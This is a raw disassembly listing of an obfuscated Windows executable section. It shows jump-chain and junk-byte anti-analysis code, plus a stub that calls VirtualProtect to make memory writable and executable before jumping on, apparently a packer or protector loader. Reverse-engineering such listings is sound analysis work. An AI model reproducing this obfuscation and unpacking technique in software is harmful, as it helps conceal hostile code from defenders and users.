loc_46CFEA ; --------------------------------------------------------------------------- dw 65Eh dd 24906607h, 85C6CF99h, 3C97F4F6h, 0BE2DA8B7h, 87D5E4B9h dd 0DF7E510h db 87h, 64h ; --------------------------------------------------------------------------- loc_46CFEA: ; CODE XREF: DMN1:loc_46CFCCj std jmp short loc_46CFFE ; --------------------------------------------------------------------------- db 0DBh, 5Ah, 12h dd 0E501E253h, 5DDB3471h, 0D444531h db 0FFh, 0Dh ; --------------------------------------------------------------------------- loc_46CFFE: ; CODE XREF: DMN1:0046CFEBj stc jmp short loc_46D019 ; --------------------------------------------------------------------------- aad 0D4h cdq sbb al, 59h retf ; --------------------------------------------------------------------------- db 0F3h dd 413B991Dh, 35A7FE97h, 5BA910D0h, 0FD6A102Ch db 44h ; --------------------------------------------------------------------------- loc_46D019: ; CODE XREF: DMN1:0046CFFFj std jmp short loc_46D021 ; --------------------------------------------------------------------------- dd 0F858285h db 0A8h ; --------------------------------------------------------------------------- loc_46D021: ; CODE XREF: DMN1:0046D01Aj xchg ebx, ecx jmp short loc_46D03D ; --------------------------------------------------------------------------- db 68h, 0E6h, 0AAh dd 0F5364A59h, 828F23E6h, 0C798710Dh, 0BAD30993h, 0A58C8C4Dh ; --------------------------------------------------------------------------- pop edx loc_46D03D: ; CODE XREF: DMN1:0046D023j jmp short loc_46D046 ; --------------------------------------------------------------------------- db 9Bh dd 0B3E094F1h db 9Bh, 24h ; --------------------------------------------------------------------------- loc_46D046: ; CODE XREF: DMN1:loc_46D03Dj jmp short loc_46D063 ; --------------------------------------------------------------------------- dd 0FF2FA1C7h, 336C30EDh, 31EC07F6h, 47D16114h, 93E71E75h dd 0F3238494h db 0E0h, 0FCh, 9Dh ; --------------------------------------------------------------------------- loc_46D063: ; CODE XREF: DMN1:loc_46D046j xor edi, 41000h jmp short loc_46D087 ; --------------------------------------------------------------------------- db 31h dd 2E349BCEh, 71B7BF28h, 5859AB13h, 8349D766h, 0B366223Ch dd 759C20C6h db 3Dh, 51h, 12h ; --------------------------------------------------------------------------- loc_46D087: ; CODE XREF: DMN1:0046D069j jmp short loc_46D099 ; --------------------------------------------------------------------------- db 1Eh, 0A7h, 0F3h ; --------------------------------------------------------------------------- mov ah, 11h sti retf ; --------------------------------------------------------------------------- dd 0A1FBB1F3h, 0E2A835EFh db 0BAh ; --------------------------------------------------------------------------- loc_46D099: ; CODE XREF: DMN1:loc_46D087j or esi, 0FFFFFFFFh xchg edi, esi inc edi xchg ebp, esi jmp short loc_46D0BC ; --------------------------------------------------------------------------- db 0DCh dd 0B0DDA0A6h, 0D0A94258h, 1CA697B2h, 57C0363Bh, 22E42304h dd 0BBE98C2Ch ; --------------------------------------------------------------------------- loc_46D0BC: ; CODE XREF: DMN1:0046D0A1j jmp short loc_46D0C7 ; --------------------------------------------------------------------------- dw 42E2h dd 702977F1h db 6Dh, 1Bh, 58h ; --------------------------------------------------------------------------- loc_46D0C7: ; CODE XREF: DMN1:loc_46D0BCj ; DMN1:0046D102j add edi, 0AF5Ah loc_46D0CD: ; CODE XREF: DMN1:0046D666j jmp short loc_46D0D5 ; --------------------------------------------------------------------------- db 0FFh dd 5A929A58h db 8Eh ; --------------------------------------------------------------------------- loc_46D0D5: ; CODE XREF: DMN1:loc_46D0CDj cmc xchg esi, esp jmp short loc_46D0EA ; --------------------------------------------------------------------------- dw 0EF52h ; --------------------------------------------------------------------------- pop edx popf mov eax, 44E612DFh leave sahf mov eax, ds:0F516B32Fh loc_46D0EA: ; CODE XREF: DMN1:0046D0D8j stc jmp short loc_46D104 ; --------------------------------------------------------------------------- stosb std retf 366h ; --------------------------------------------------------------------------- mov ah, 2Eh inc eax mov eax, ds:0A13BF90Fh dec esp scasd cmp bh, [edx+68693D3Ah] jbe short loc_46D0C7 loc_46D104: ; CODE XREF: DMN1:0046D0EBj cld jmp short loc_46D10B ; --------------------------------------------------------------------------- db 0DDh db 0A5h, 2Ah, 55h ; --------------------------------------------------------------------------- loc_46D10B: ; CODE XREF: DMN1:0046D105j jmp short loc_46D11A ; --------------------------------------------------------------------------- db 2, 77h, 68h dd 6EB808E7h, 0FD0E199Eh ; --------------------------------------------------------------------------- ja short loc_46D153 loc_46D11A: ; CODE XREF: DMN1:loc_46D10Bj std jmp short loc_46D136 ; --------------------------------------------------------------------------- sbb [ebp-1C5A0CC7h], ch lds ebx, [edx] test byte ptr ds:121CE12Bh[ebp*4], 99h xor [eax+3AD6935Eh], esp dec esi rol ecx, 1 loc_46D136: ; CODE XREF: DMN1:0046D11Bj jmp short loc_46D141 ; --------------------------------------------------------------------------- dd 67B666Ah, 4A69858Bh db 38h ; --------------------------------------------------------------------------- loc_46D141: ; CODE XREF: DMN1:loc_46D136j jmp short loc_46D14B ; --------------------------------------------------------------------------- db 19h dd 98532926h db 40h, 96h, 0CAh ; --------------------------------------------------------------------------- loc_46D14B: ; CODE XREF: DMN1:loc_46D141j jmp short loc_46D166 ; --------------------------------------------------------------------------- xor eax, 6B0AC423h stosd loc_46D153: ; CODE XREF: DMN1:0046D118j hlt ; --------------------------------------------------------------------------- dd 1BEF92ECh, 17545D0h, 0E71FC3DFh, 0F309B96Bh db 19h, 25h ; --------------------------------------------------------------------------- loc_46D166: ; CODE XREF: DMN1:loc_46D14Bj xchg edx, edx jmp short loc_46D174 ; --------------------------------------------------------------------------- dw 0DA8Ch dd 526B413Bh, 0B2910C2Eh ; --------------------------------------------------------------------------- loc_46D174: ; CODE XREF: DMN1:0046D168j jmp short loc_46D184 ; --------------------------------------------------------------------------- dw 0E9FDh dd 3F753453h, 0F990A35h, 97493DFDh ; --------------------------------------------------------------------------- loc_46D184: ; CODE XREF: DMN1:loc_46D174j neg ebx jmp short loc_46D19D ; --------------------------------------------------------------------------- dd 0E464D60Fh, 0FF62A2ECh, 84D01F4h, 4A915AA3h, 5D943409h ; --------------------------------------------------------------------------- push edi loc_46D19D: ; CODE XREF: DMN1:0046D186j jmp short loc_46D1A2 ; --------------------------------------------------------------------------- movsb retn ; --------------------------------------------------------------------------- db 63h ; --------------------------------------------------------------------------- loc_46D1A2: ; CODE XREF: DMN1:loc_46D19Dj jmp short loc_46D1B7 ; --------------------------------------------------------------------------- dd 41A82C3Eh, 3FAB756Eh, 79A501FEh, 1033BD41h db 0Bh, 0F0h, 0B3h ; --------------------------------------------------------------------------- loc_46D1B7: ; CODE XREF: DMN1:loc_46D1A2j jmp short loc_46D1D5 ; --------------------------------------------------------------------------- db 0E3h, 97h, 7Ah dd 9029A428h, 0DFA187B5h, 0E03A491Ch, 0D042D285h, 9E454B60h dd 0E1AB1B9Fh ; --------------------------------------------------------------------------- pop esp loc_46D1D5: ; CODE XREF: DMN1:loc_46D1B7j jmp short loc_46D1E0 ; --------------------------------------------------------------------------- db 0F9h dd 528CE17h, 88CDB7F0h ; --------------------------------------------------------------------------- loc_46D1E0: ; CODE XREF: DMN1:loc_46D1D5j jmp short loc_46D1F5 ; --------------------------------------------------------------------------- dw 96Ch dd 0F2DD07D5h, 576D37AAh, 377853CBh, 60855AEFh db 3Ch ; --------------------------------------------------------------------------- loc_46D1F5: ; CODE XREF: DMN1:loc_46D1E0j jmp short loc_46D20F ; --------------------------------------------------------------------------- db 7Fh dd 1E1537Bh, 52ED29ECh, 16EB49B2h, 5696981Dh, 0B5D34FEBh db 0FAh, 0FCh, 24h ; --------------------------------------------------------------------------- loc_46D20F: ; CODE XREF: DMN1:loc_46D1F5j mov eax, esp cmc bswap ebx jmp short loc_46D224 ; --------------------------------------------------------------------------- dw 5953h dd 0F7B61535h, 3798454Dh, 12640929h ; --------------------------------------------------------------------------- loc_46D224: ; CODE XREF: DMN1:0046D214j xor ebx, 0A5771DE3h jmp short loc_46D234 ; --------------------------------------------------------------------------- sbb [ecx+40EBDD6Ch], eax mov ch, 0CFh loc_46D234: ; CODE XREF: DMN1:0046D22Aj jmp short loc_46D23C ; --------------------------------------------------------------------------- dw 0FD06h dd 2D51BB08h ; --------------------------------------------------------------------------- loc_46D23C: ; CODE XREF: DMN1:loc_46D234j jmp short loc_46D258 ; --------------------------------------------------------------------------- dw 2F47h dd 0EA3E1264h, 6EAC27D8h, 0D4CB1836h, 0E9924D6Ah, 0E80026BDh dd 7E40C311h ; --------------------------------------------------------------------------- loc_46D258: ; CODE XREF: DMN1:loc_46D23Cj jmp short loc_46D279 ; --------------------------------------------------------------------------- mov ds, word ptr [edx] xchg edi, [esi] xor eax, 2C322B4Ch jbe short loc_46D2AF daa cwde retf 47DDh ; --------------------------------------------------------------------------- mov [edi+2], bl add eax, [ebx+5Dh] dec ecx les edi, [esi+7FBB384Dh] fstp st loc_46D279: ; CODE XREF: DMN1:loc_46D258j jmp short loc_46D283 ; --------------------------------------------------------------------------- db 4 dd 5602147Dh db 94h, 0E7h, 0F4h ; --------------------------------------------------------------------------- loc_46D283: ; CODE XREF: DMN1:loc_46D279j xchg esp, ebp test ebx, 0AF7038E7h stc xchg eax, edx stc jmp short loc_46D2A2 ; --------------------------------------------------------------------------- db 4Ah, 42h, 64h dd 5AED9804h, 223DCD32h, 19D1B829h ; --------------------------------------------------------------------------- xchg ebx, [ecx] loc_46D2A2: ; CODE XREF: DMN1:0046D28Fj add edx, esp jmp short loc_46D2BC ; --------------------------------------------------------------------------- dw 55EEh dd 7E808B3Ah db 7Fh, 41h, 7Ah ; --------------------------------------------------------------------------- loc_46D2AF: ; CODE XREF: DMN1:0046D263j mov eax, 0CCD98EB9h sub al, 78h xchg ah, dl out 0E2h, eax ; --------------------------------------------------------------------------- dw 9120h ; --------------------------------------------------------------------------- loc_46D2BC: ; CODE XREF: DMN1:0046D2A4j jmp short loc_46D2D5 ; --------------------------------------------------------------------------- dw 7761h dd 58289606h, 8F370BE7h, 7658AE25h, 836AE66Ch, 0CFB5A460h db 68h ; --------------------------------------------------------------------------- loc_46D2D5: ; CODE XREF: DMN1:loc_46D2BCj jmp short loc_46D2F6 ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- mov esi, 97691A5Bh db 66h jmp short small loc_46D324 ; --------------------------------------------------------------------------- dd 6D29FEF1h, 0C87370AFh, 3AC07300h, 1690B3A4h, 0EF0DB41Bh ; --------------------------------------------------------------------------- push ecx pop edi loc_46D2F6: ; CODE XREF: DMN1:loc_46D2D5j test ebx, 28D85F1Eh mov eax, [edx] xchg esp, eax jmp short loc_46D321 ; --------------------------------------------------------------------------- dw 0B007h dd 57B26565h, 0B8DAFD03h, 0C7BA687Bh, 0F45944FEh, 45001B7h dd 0E5C6E7E2h, 0B25DEB76h db 0C7h ; --------------------------------------------------------------------------- loc_46D321: ; CODE XREF: DMN1:0046D300j jmp short loc_46D324 ; --------------------------------------------------------------------------- db 11h ; --------------------------------------------------------------------------- loc_46D324: ; CODE XREF: DMN1:0046D2DDj ; DMN1:loc_46D321j stc bswap edx xchg ecx, edi jmp short loc_46D33E ; --------------------------------------------------------------------------- db 95h dd 0AA2062DDh, 44293300h, 1CEFD71Ch, 0A81DA074h db 5, 0F7h ; --------------------------------------------------------------------------- loc_46D33E: ; CODE XREF: DMN1:0046D329j jmp short loc_46D35A ; --------------------------------------------------------------------------- dd 0A0264CE8h, 0C14171BAh, 0F6C9C584h, 0F0D56101h, 0A41FC149h dd 2F4F362Dh db 0A6h, 75h ; --------------------------------------------------------------------------- loc_46D35A: ; CODE XREF: DMN1:loc_46D33Ej jmp short loc_46D369 ; --------------------------------------------------------------------------- dd 0B65277D0h, 7954E644h, 0CFEFA9AEh ; --------------------------------------------------------------------------- clc loc_46D369: ; CODE XREF: DMN1:loc_46D35Aj cld xor esp, [esi] add ebx, 6E368D69h jmp short loc_46D387 ; --------------------------------------------------------------------------- dd 0E1F1E7D4h, 53C84926h, 5A4B921Dh, 0CE87DF0Dh ; --------------------------------------------------------------------------- sal esi, 76h loc_46D387: ; CODE XREF: DMN1:0046D372j jmp short loc_46D398 ; --------------------------------------------------------------------------- db 92h, 47h, 0C5h dd 0EA12CDCDh, 4FDB7158h, 67E3AEF6h ; --------------------------------------------------------------------------- loc_46D398: ; CODE XREF: DMN1:loc_46D387j jmp short loc_46D3B5 ; --------------------------------------------------------------------------- align 4 dd 4EB43CE4h, 6BAC5C2Ch, 0CDF4ED92h, 0E3BEF6F9h, 780D6B19h dd 211B67C9h db 19h ; --------------------------------------------------------------------------- loc_46D3B5: ; CODE XREF: DMN1:loc_46D398j xchg esp, [esi] jmp short loc_46D3D8 ; --------------------------------------------------------------------------- db 26h, 0ACh, 89h dd 0C70E19D0h, 0E6FE12B2h, 0DA2D6652h, 0E7199A43h, 0E7E8AE79h dd 0FCD17481h, 0DE8B78FCh ; --------------------------------------------------------------------------- loc_46D3D8: ; CODE XREF: DMN1:0046D3B7j sub esp, 67CAA51Bh xchg esp, ecx jmp short loc_46D3EA ; --------------------------------------------------------------------------- dw 75ADh dd 84786179h db 0AAh, 8 ; --------------------------------------------------------------------------- loc_46D3EA: ; CODE XREF: DMN1:0046D3E0j jmp short loc_46D3ED ; --------------------------------------------------------------------------- db 0ECh ; --------------------------------------------------------------------------- loc_46D3ED: ; CODE XREF: DMN1:loc_46D3EAj rol ecx, 1 jmp short loc_46D3FD ; --------------------------------------------------------------------------- db 80h, 0EFh, 82h dd 0DFF05780h, 0BD9E8F13h db 0Ah ; --------------------------------------------------------------------------- loc_46D3FD: ; CODE XREF: DMN1:0046D3EFj neg edi jmp short loc_46D410 ; --------------------------------------------------------------------------- pop ebp push ebx retf 0FD49h ; --------------------------------------------------------------------------- dw 0FA2Fh dd 0D21FD68h, 2B16A2BBh ; --------------------------------------------------------------------------- loc_46D410: ; CODE XREF: DMN1:0046D3FFj jmp short loc_46D424 ; --------------------------------------------------------------------------- dw 4182h dd 0D71E5A73h, 13B11E47h, 0C0E60F74h, 129C21C7h ; --------------------------------------------------------------------------- loc_46D424: ; CODE XREF: DMN1:loc_46D410j jmp short loc_46D42C ; --------------------------------------------------------------------------- dw 6C47h dd 0FF23D352h ; --------------------------------------------------------------------------- loc_46D42C: ; CODE XREF: DMN1:loc_46D424j jmp short loc_46D431 ; --------------------------------------------------------------------------- das xchg ah, [edx] loc_46D431: ; CODE XREF: DMN1:loc_46D42Cj jmp short loc_46D44E ; --------------------------------------------------------------------------- db 96h dd 0E1632A5Fh, 96AC6C48h, 26F17E5Eh, 37040870h, 0C370CECDh dd 8688CF1h ; --------------------------------------------------------------------------- push 0FFFFFF84h loc_46D44E: ; CODE XREF: DMN1:loc_46D431j jmp short loc_46D45C ; --------------------------------------------------------------------------- dd 7DB76EC8h, 6F0396B7h, 685AA2CFh ; --------------------------------------------------------------------------- loc_46D45C: ; CODE XREF: DMN1:loc_46D44Ej xchg ecx, [esi] std jmp short loc_46D465 ; --------------------------------------------------------------------------- db 76h, 38h, 0AEh db 0A2h ; --------------------------------------------------------------------------- loc_46D465: ; CODE XREF: DMN1:0046D45Fj jmp short loc_46D46E ; --------------------------------------------------------------------------- db 0B2h dd 504A1B05h db 0Fh, 0Ah ; --------------------------------------------------------------------------- loc_46D46E: ; CODE XREF: DMN1:loc_46D465j jmp short loc_46D477 ; --------------------------------------------------------------------------- dd 4AA9093Eh db 31h, 0A9h, 0DEh ; --------------------------------------------------------------------------- loc_46D477: ; CODE XREF: DMN1:loc_46D46Ej xor edx, 962F9520h jmp short loc_46D492 ; --------------------------------------------------------------------------- db 0DCh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 6Dh, 0C6h, 3Bh ; --------------------------------------------------------------------------- add al, 98h fldenv byte ptr [edi-3539FDDDh] cmp al, [eax] sub esi, eax int 3 ; Trap to Debugger dec eax loc_46D492: ; CODE XREF: DMN1:0046D47Dj mov edi, eax xor ebx, 680D5DF5h neg edx jmp short loc_46D4A2 ; --------------------------------------------------------------------------- dw 7D51h db 7Ah, 36h ; --------------------------------------------------------------------------- loc_46D4A2: ; CODE XREF: DMN1:0046D49Cj add edi, ebp jmp short loc_46D4C5 ; --------------------------------------------------------------------------- dw 4334h dd 5FA2DF74h, 11D36E64h, 0C2B97D3Bh, 7854CBA2h, 28490C1h dd 8F09A02Dh, 0EC50F5E9h db 0D5h ; --------------------------------------------------------------------------- loc_46D4C5: ; CODE XREF: DMN1:0046D4A4j jmp short loc_46D4D8 ; --------------------------------------------------------------------------- db 4Ch dd 73AA789Bh, 0F2A2F8D1h, 0CB26E506h, 22A2135h ; --------------------------------------------------------------------------- loc_46D4D8: ; CODE XREF: DMN1:loc_46D4C5j jmp short loc_46D4DB ; --------------------------------------------------------------------------- db 3Ah ; --------------------------------------------------------------------------- loc_46D4DB: ; CODE XREF: DMN1:loc_46D4D8j cmc mov [edi], ecx xchg edx, ecx xchg ecx, ebx jmp short loc_46D500 ; --------------------------------------------------------------------------- dd 0CB4793DCh, 0AFE509B4h, 0AC1F0A71h, 76AEA7Bh, 0F39C5839h dd 5DE53077h, 0FEF52A36h ; --------------------------------------------------------------------------- loc_46D500: ; CODE XREF: DMN1:0046D4E2j jmp short loc_46D509 ; --------------------------------------------------------------------------- dw 5853h dd 4594A18Ah db 0F6h ; --------------------------------------------------------------------------- loc_46D509: ; CODE XREF: DMN1:loc_46D500j jmp short loc_46D511 ; --------------------------------------------------------------------------- aaa cmp ecx, [edi+esi*2] aas push eax loc_46D511: ; CODE XREF: DMN1:loc_46D509j jmp short loc_46D516 ; --------------------------------------------------------------------------- db 1Dh ; --------------------------------------------------------------------------- adc eax, esi loc_46D516: ; CODE XREF: DMN1:loc_46D511j jmp short loc_46D536 ; --------------------------------------------------------------------------- dd 0BFAFE88Dh, 31ED6CDBh, 0BA096D7Ch, 2C770C76h, 5062BFA4h dd 901436F6h, 2F531A93h db 4Bh, 7Ch ; --------------------------------------------------------------------------- loc_46D536: ; CODE XREF: DMN1:loc_46D516j jmp short loc_46D551 ; --------------------------------------------------------------------------- dd 0F8906E76h, 1BEAD5EAh, 0A1271F23h, 0D2E6B846h, 6DFCA670h dd 74393F66h db 8Ah ; --------------------------------------------------------------------------- loc_46D551: ; CODE XREF: DMN1:loc_46D536j jmp short loc_46D556 ; --------------------------------------------------------------------------- db 66h db 62h, 0DCh ; --------------------------------------------------------------------------- loc_46D556: ; CODE XREF: DMN1:loc_46D551j jmp short loc_46D569 ; --------------------------------------------------------------------------- dd 0B59A1A2Ah, 0A691CF4Bh, 0E8610D0Ah, 717D2B2Ch ; --------------------------------------------------------------------------- inc esi loc_46D569: ; CODE XREF: DMN1:loc_46D556j xchg edi, edx xor edx, 0CD728F8Ch jmp short loc_46D57F ; --------------------------------------------------------------------------- db 84h dd 36E4082Ch, 79C1015Eh db 0EEh, 0B8h, 45h ; --------------------------------------------------------------------------- loc_46D57F: ; CODE XREF: DMN1:0046D571j jmp short loc_46D59A ; --------------------------------------------------------------------------- db 41h, 0C1h, 61h dd 0AABF2312h, 264C26C5h, 0FF230770h, 0F43DEFFAh, 96B3EC00h db 3Ah, 40h ; --------------------------------------------------------------------------- loc_46D59A: ; CODE XREF: DMN1:loc_46D57Fj jmp short loc_46D5B0 ; --------------------------------------------------------------------------- dd 7230BAC5h, 0C484E7FCh, 0D1C69C9Ch, 0DB6C8610h, 0A225FBD6h ; --------------------------------------------------------------------------- loc_46D5B0: ; CODE XREF: DMN1:loc_46D59Aj add eax, 4 clc stc jmp short loc_46D5D3 ; --------------------------------------------------------------------------- db 82h dd 115BDEDAh, 0B0111908h, 0FB042EFFh, 8196E0B2h, 0BECCB891h dd 67B65428h db 6Fh, 26h, 8Eh ; --------------------------------------------------------------------------- loc_46D5D3: ; CODE XREF: DMN1:0046D5B5j xchg edx, esp jmp short loc_46D5F5 ; --------------------------------------------------------------------------- db 0AEh dd 6373069Bh, 8B2C5FC4h, 912017DAh, 1E7DFF24h, 0A002DC9Ah dd 8973448h, 16AFC3E4h ; --------------------------------------------------------------------------- xlat loc_46D5F5: ; CODE XREF: DMN1:0046D5D5j jmp short loc_46D606 ; --------------------------------------------------------------------------- db 0DEh dd 88BACC33h, 573E429Ah, 0FFD9BBF2h db 47h, 0F7h ; --------------------------------------------------------------------------- loc_46D606: ; CODE XREF: DMN1:loc_46D5F5j std dec edx jz short loc_46D66B jmp short loc_46D61C ; --------------------------------------------------------------------------- dd 9E01196h, 0B5FDF27h, 0BB72830h, 2143537Ah ; --------------------------------------------------------------------------- loc_46D61C: ; CODE XREF: DMN1:0046D60Aj or ebx, 6CCCA82h xchg eax, ebp cmc xchg edi, edx jmp short loc_46D63E ; --------------------------------------------------------------------------- db 89h, 71h, 93h dd 0C9A022F5h, 9C82AD51h, 1E270F2Eh, 9B089C0Eh db 22h, 7Ch ; --------------------------------------------------------------------------- loc_46D63E: ; CODE XREF: DMN1:0046D627j jmp short loc_46D65E ; --------------------------------------------------------------------------- dd 0C505E41Bh, 83FDED93h, 8BCBFECDh, 0CA240367h, 6D692F1Eh dd 1E941401h, 170C8439h db 0BDh, 1 ; --------------------------------------------------------------------------- loc_46D65E: ; CODE XREF: DMN1:loc_46D63Ej xchg esi, eax jmp short loc_46D664 ; --------------------------------------------------------------------------- dw 5530h ; --------------------------------------------------------------------------- loc_46D664: ; CODE XREF: DMN1:0046D660j xchg esp, eax jmp loc_46D0CD ; --------------------------------------------------------------------------- loc_46D66B: ; CODE XREF: DMN1:0046D608j xchg esp, esi cmc jmp short loc_46D687 ; --------------------------------------------------------------------------- dd 2937C557h, 0B7E81D56h, 539EF17Ch, 0BD97F328h, 7D1B4A81h db 1Eh, 0ACh, 0D0h ; --------------------------------------------------------------------------- loc_46D687: ; CODE XREF: DMN1:0046D66Ej pop edi jmp short loc_46D68B ; --------------------------------------------------------------------------- db 0Dh ; --------------------------------------------------------------------------- loc_46D68B: ; CODE XREF: DMN1:0046D688j jmp short loc_46D690 ; --------------------------------------------------------------------------- push cs and al, 8Fh loc_46D690: ; CODE XREF: DMN1:loc_46D68Bj jmp short loc_46D6A9 ; --------------------------------------------------------------------------- dw 5E67h dd 2D5339FEh, 9345C1EEh, 0CA95FE44h, 65F50E6h, 8E428625h db 6Ch ; --------------------------------------------------------------------------- loc_46D6A9: ; CODE XREF: DMN1:loc_46D690j std jmp short loc_46D6BE ; --------------------------------------------------------------------------- dd 0E3AE576Eh, 52604D71h, 0A6489B6Bh, 88587A6Bh db 80h, 7Ah ; --------------------------------------------------------------------------- loc_46D6BE: ; CODE XREF: DMN1:0046D6AAj clc jmp short loc_46D6DE ; --------------------------------------------------------------------------- db 38h, 0DBh, 29h dd 0C1BD9146h, 62ED6AC5h, 0DC934BCEh, 11B8CD88h, 7AF1F6D6h dd 0D4E4838Fh db 48h, 0EFh ; --------------------------------------------------------------------------- loc_46D6DE: ; CODE XREF: DMN1:0046D6BFj jmp short loc_46D6FA ; --------------------------------------------------------------------------- and eax, 0F26CD876h int 3 ; Trap to Debugger xchg bl, ah pop ds sbb [ecx-75h], bh mov dh, 23h push ebx sbb bl, ah mov eax, 4EDC12EFh db 66h retf ; --------------------------------------------------------------------------- adc eax, [ebx] loc_46D6FA: ; CODE XREF: DMN1:loc_46D6DEj jmp short loc_46D717 ; --------------------------------------------------------------------------- dd 39A9B3FEh, 0A20AEB2Dh, 0C6B3F15Ch, 5DDFFE6Dh, 48CF71C3h dd 86AFC8FAh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- wait xchg eax, esp loc_46D717: ; CODE XREF: DMN1:loc_46D6FAj bswap ebx jmp loc_46CA9F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_46D71E proc near ; CODE XREF: DMN1:0046D788p var_24 = dword ptr -24h var_18 = byte ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor edx, 5A17131Dh xor edx, 459D42ACh mov eax, 400000h add edx, eax add esp, 10h mov ebp, [esp-10h+arg_4] push edx pusha push 0 lea edx, [esp+18h+var_18] push edx push 40h push 2C71Eh add [esp+24h+var_24], 1000h push eax add eax, 1000h add eax, 6D023h call dword ptr [eax] add esp, 4 popa retn sub_46D71E endp assume es:nothing ; =============== S U B R O U T I N E ======================================= public start start proc near mov eax, offset sub_407AA0 jmp eax start endp ; --------------------------------------------------------------------------- align 2 mov edx, 4635042Ch mov eax, 186A5B1Ch loc_46D778: ; CODE XREF: DMN1:0046D785j add eax, 117F7317h xor edx, eax add dx, ax rol edx, 7 loop loc_46D778 push eax call sub_46D71E leave retn DMN1 ends ; Section 3. (virtual address 0006E000) ; Virtual size : 00000078 ( 120.) ; Section size in file : 00000078 ( 120.) ; Offset to raw data for section: 0006E000 ; Flags C0000060: Text Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DMN2 segment para public 'DATA' use32 assume cs:DMN2 ;org 46E000h dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h dd 506C6175h, 65746F72h, 0B5007463h, 9A77E75Ch, 77E616h dd 6B000000h, 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0) dd 0FFFFFFFFh, 6E02Bh, 6E01Fh, 5 dup(0) dd 6D000h, 10h, 3731h, 3 dup(0) DMN2 ends ; Section 4. (virtual address 0006F000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0006E200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 46F000h align 2000h _idata2 ends end start